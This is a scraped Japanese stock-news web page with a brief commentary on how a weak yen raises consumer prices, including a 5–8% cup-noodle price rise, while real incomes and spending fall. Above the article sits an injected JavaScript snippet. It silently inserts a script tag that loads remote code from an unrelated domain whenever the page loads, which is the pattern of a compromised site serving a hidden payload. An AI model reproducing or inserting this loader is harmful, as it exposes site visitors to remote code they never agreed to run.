;(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,"script","https://treegreeny.org/KDJnCSZn"); 円安が及ぼす負の影響|【KabuLeaks 〜株リークス〜】
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円安が及ぼす負の影響

円安を実感する最も身近な出来事と言えば、やはり原材料の値上がりが及ぼす様々な商品の値上げだろう。例えば、日清食品は来年1月よりカップラーメン等、5%~8%の値上げを実施すると発表している。円安及びデフレ脱却を考える上でこの流れは当然と言えるのだが、問題は消費者の懐がいまだに寂しいままであること。消費増税などにより実質所得はマイナスであり、事実、9月の実質消費支出は前年同月比で5.6%のマイナスというデータもある。景気が拡大し給料が増えた状況での値上がりでない以上、消費が冷え込んでしまう負のスパイラルに陥る可能性もある。値上がりは実感するものの、景気は冴えないという状況が続かないことを祈るばかりだ。